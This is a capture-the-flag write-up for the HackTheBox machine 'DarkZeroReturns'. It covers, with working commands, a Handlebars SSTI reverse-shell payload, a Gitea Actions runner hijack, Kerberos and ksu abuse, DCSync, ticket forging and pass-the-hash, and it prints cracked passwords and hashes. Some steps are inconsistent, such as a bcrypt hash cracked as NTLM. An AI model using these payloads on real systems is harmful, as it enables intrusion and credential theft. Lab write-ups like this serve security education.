hackthebox / hard / windows

DarkZeroReturns

Platform
HackTheBox
Difficulty
OS

Summary

DarkZeroReturns is a hard AD box. We get a reverse shell via a Handlebars SSTI in the campaign editor of the web app. We find a database and crack josh's hash against rockyou, SSH in as josh, and use ligolo-ng to forward traffic to the domain 172.16.20.2. Port 3000 runs Gitea; we login with SSPI as josh, fork the repo, and abuse a self-hosted Gitea Actions runner through a crafted workflow to get a shell as svc-runner. From there we create the root principal in the GiteaMigration OU and use ksu to become local root, grab a SQL backup, crack celia's hash, and DCSync across the domain trust to the real DC.

Skills Required

  • Template injection (SSTI) identification and exploitation
  • Pivoting with ligolo-ng
  • Kerberos / SSPI authentication

Skills Learned

  • Handlebars SSTI to RCE with a crafted AST
  • Gitea Actions self-hosted runner hijack via PR
  • Gitea Admin OU migration abuse and ksu
  • Cross-realm tickets and DCSync

Enumeration

Port scan.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-27 15:22 -0400
Nmap scan report for 10.129.59.170
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://dzcampaigns.htb/

Directory enumeration.

200      GET       29l       65w      786c http://dzcampaigns.htb/js/app.js
200      GET     1164l     2717w    25823c http://dzcampaigns.htb/css/styles.css
200      GET      117l      485w     3789c http://dzcampaigns.htb/essentials
200      GET       70l      155w     2126c http://dzcampaigns.htb/dice
200      GET       55l      115w     1509c http://dzcampaigns.htb/login
200      GET       58l      141w     1735c http://dzcampaigns.htb/register
200      GET       58l      261w     2233c http://dzcampaigns.htb/campaign/1
200      GET       68l      265w     2470c http://dzcampaigns.htb/
301      GET       10l       15w      153c http://dzcampaigns.htb/css => http://dzcampaigns.htb/css/
302      GET        1l        4w       28c http://dzcampaigns.htb/dashboard => http://dzcampaigns.htb/login

Foothold

SSTI in Handlebars

Payloads such as {{7*7}} would give 49 on Jinja or Twig for example. With {{this}} the app responds with object Object, which is a proof for JavaScript. To separate Mustache from Handlebars you can call {{lookup . 'constructor'}}, which is only in Handlebars. SSTI injection.

In the console while in /campaign/1 paste this:

const ast = {
  type: "Program",
  body: [{
    type: "MustacheStatement",
    path: {
      type: "PathExpression",
      data: false,
      depth: 0,
      parts: ["lookup"],
      original: "lookup",
      loc: null
    },
    params: [
      {
        type: "PathExpression",
        data: false,
        depth: 0,
        parts: [],
        original: "this",
        loc: null
      },
      {
        type: "NumberLiteral",
        value: "{},{})) + process.mainModule.require('child_process').execFileSync('/bin/bash',['-c','bash -c \"bash -i >& /dev/tcp/[ip]/8000 0>&1\"']).toString() //",
        original: 1,
        loc: null
      }
    ],
    escaped: true,
    strip: { open: false, close: false },
    loc: null
  }],
  strip: {},
  loc: null
};

const csrf = document.querySelector('[name="_csrf"]').value;

const r = await fetch("/character/17", {
  method: "POST",
  credentials: "same-origin",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    _csrf: csrf,
    name: "asdffd",
    race: "afdasfas",
    class: "asdfasf",
    backstory: "asfasfasas",
    campaign_message: ast
  })
});

console.log(r.status, await r.text());

Set up a listener and get a reverse shell. Running env reveals a database where we find josh's hash and we crack it against rockyou.txt.

josh   Rangers1

SSH into josh.

ssh josh@dzcampaigns.htb

Pivoting

Gitea runner and Kerberos

/opt/gitea-runner/config.yaml
# cant access it, but tells us that gitea is running

Searching kerberos conf files and tickets (T1558.003).

kadmin was found on /usr/bin/kadmin
kadmin was found on /usr/bin/kinit

klist execution
Ticket cache: KEYRING:persistent:780601110:krb_ccache_fwyIQsV
Default principal: josh@DARKZERO.EXT

Valid starting       Expires              Service principal
08/01/2026 16:40:16  08/02/2026 02:40:16  krbtgt/DARKZERO.EXT@DARKZERO.EXT
        renew until 08/08/2026 16:40:16

/etc/krb5.conf
[libdefaults]
default_realm = DARKZERO.EXT

[realms]
    DARKZERO.EXT = {
        kdc = dc02.darkzero.ext
        admin_server = dc02.darkzero.ext
    }

[domain_realm]
    .darkzero.ext = DARKZERO.EXT
    darkzero.ext = DARKZERO.EXT

ligolo-ng

Use ligolo-ng to forward traffic from josh to have access to 172.16.20.2.

Create the tun interface on Kali.

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Start the proxy (Kali, attacker side).

sudo ./proxy -selfcert
# Listens on 0.0.0.0:11601 by default.

Get agent onto target and run it. Transfer over your existing SSH session.

scp agent josh@SRV01:/tmp/agent
chmod +x /tmp/agent

# on SRV01
./agent -connect <KALI_IP>:11601 -ignore-cert

Back in the proxy console (Kali).

[Ligolo-ng] » session          # select the connected agent
[Ligolo-ng] » ifconfig         # view agent's network interfaces/subnets
[Ligolo-ng] » start            # start the tunnel

Route Kali traffic into the target subnet.

sudo ip route add 172.16.20.0/24 dev ligolo

On your machine run nmap.

nmap -sCV 172.16.20.2

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.ext)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
3000/tcp open  http          Golang net/http server | Gitea: Git with a cup of tea
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP

Lateral Movement

Gitea

Port 3000 running gitea. Open the webpage. There are no repos, can't login as josh.

Login with SSPI using curl -negotiate.

curl -v --negotiate -c cookies.txt -u : http://gitea.darkzero.ext:3000/user/login?auth_with_sspi=1
Cookies:
#HttpOnly_gitea.darkzero.ext    FALSE   /       FALSE   1785698675      _csrf   V5eYuzGp413O-gMQIEDZ4EodZxI6MTc4NTYxMjI3NTc4MjM3NzQwMA
#HttpOnly_gitea.darkzero.ext    FALSE   /       FALSE   0       lang    en-US
#HttpOnly_gitea.darkzero.ext    FALSE   /       FALSE   0       i_like_gitea    3791c43f03f97cb7

Replace the cookies in the browser and reload the page, granting access to user josh. There is a repo here: http://gitea.darkzero.ext:3000/DarkZero/DarkZero-Campaigns

Runner hijack

Use the web interface for this because the API didn't work.

1. Create an SSH key.

ssh-keygen -t ed25519 -f ./svc_runner_key -N ""
cat svc_runner_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBF5JqcmzgQCqZc6ghjqoqNeywDjwQO2P2J1ARjiT5S9 josh@SRV01

2. Fork the repo.

curl -s --negotiate -u : -X POST \
  http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/forks \
  -H "Content-Type: application/json" -d '{}'

3. Go to the web UI and edit the existing main.yml, replace the whole content with your payload.

on:
  pull_request_review_comment:
    types: [created]
jobs:
  foothold:
    runs-on: ubuntu
    steps:
      - run: |
          install -d -m 700 /home/svc-runner/.ssh
          echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBF5JqcmzgQCqZc6ghjqoqNeywDjwQO2P2J1ARjiT5S9 josh@SRV01' >> /home/svc-runner/.ssh/authorized_keys
          chmod 600 /home/svc-runner/.ssh/authorized_keys
          cat /home/svc-runner/user.txt

4. Go to the original repo and create a PR (Pull Request), making sure you are committing to the main one. Note the PR number and head commit SHA, both visible on the PR page.

curl -s --negotiate -u : http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/1 | jq '.head.sha'

5. Trigger via a review comment.

curl -s --negotiate -u : -X POST \
  http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/1/reviews \
  -H "Content-Type: application/json" \
  -d "{\"event\":\"COMMENT\",\"body\":\"trigger\",\"commit_id\":\"44d3b6c319689daa83df409d2bf7d846594c3b7f\"}"

6. Check the Actions tab on the original repo DarkZero/DarkZero-Campaigns.

7. SSH in.

ssh -i ./svc_runner_key svc-runner@localhost

Privilege Escalation

svc-runner → local root via ksu

Create the root user in the GiteaMigration OU.

bloodyAD --host dc02.darkzero.ext -d DARKZERO.EXT -u svc-runner -k ccache=/tmp/svc-runner.ccache -i 172.16.20.2 --dns 172.16.20.2 add user root 'RootPass123!' --ou 'OU=GiteaMigration,DC=darkzero,DC=ext'

Back on SRV01, get a ticket for the new root principal and invoke ksu.

kinit root@DARKZERO.EXT
# password: RootPass123!
ksu root

ksu authorizes this with no prompt since there is no .k5login for local root, and the default MIT Kerberos rule is: if the Kerberos principal's first component matches the target local username, access is granted. Confirm and grab the backup file that was previously denied.

whoami
cat /root/darkzero_campaigns_backup.sql

celia's hash and DCSync

Search the SQL dump for hash-shaped content or a celia reference.

INSERT INTO `users` VALUES (2,'celia.p@dzcampaigns.htb','celia','$2b$10$2L.IKTOkBtwtWuKcAF/VJ.kUKiBHLQ8hPeg2KYJJXFOUdga2iLsoC','player','2026-04-20 17:20:14');

grep -i celia /root/darkzero_campaigns_backup.sql
grep -iE '[0-9a-f]{32}' /root/darkzero_campaigns_backup.sql

Once you isolate the NT hash, crack it.

echo '<ntlm_hash>' > celia_hash.txt
hashcat -m 1000 celia_hash.txt /usr/share/wordlists/rockyou.txt

It cracks to babygurl13. DCSync as celia.

impacket-secretsdump DARKZERO.EXT/celia:'babygurl13'@dc02.darkzero.ext -just-dc

Cross-realm ticket

Forge celia's ticket with the CORRECT aes key, saved to its own ccache.

impacket-ticketer \
  -aesKey 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6 \
  -domain-sid S-1-5-21-2850783758-1231244658-2051857529 \
  -domain darkzero.ext \
  -extra-sid S-1-5-21-2899195410-1848524783-1547768515-1603 \
  -groups 513 -user-id 1109 \
  celia
# -> saves celia.ccache

Point KRB5CCNAME at it this time.

export KRB5CCNAME=$(pwd)/celia.ccache
klist   # confirm principal is celia@DARKZERO.EXT, not Administrator

Request the cross-realm service ticket.

kvno cifs/dc01.darkzero.htb
klist   # should now show a second entry: cifs/dc01.darkzero.htb@DARKZERO.HTB
netexec smb 172.16.20.1 -k --use-kcache -M backup_operator

Get the Domain Controller's core Windows Registry hives.

impacket-smbclient -k -no-pass -dc-ip 172.16.20.1 DARKZERO.EXT/celia@dc01.darkzero.htb
# ls
# use sysvol
# get SAM
# get SYSTEM
# get SECURITY
# exit

Run secretsdump.py offline against those hives to extract the local user hashes and LSA secrets.

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Get Root Flag.

impacket-wmiexec -hashes :4d470bb7497acf3f5f5c2a11872e02ac Administrator@172.16.20.1

Key Takeaways

  • Fingerprint the template engine first - {{this}} proves JS, {{lookup . 'constructor'}} proves Handlebars.
  • Kerberos tickets are a pivot tool - josh's live TGT became our SSPI login to the internal Gitea.
  • Self-hosted runners run repo code - a PR workflow on a runner with admin rights is a foothold.
  • ksu maps principal to local user - creating a root principal meant direct local root.
  • Cross-realm tickets cross the trust - celia's forged ticket reached the real DC in the other domain.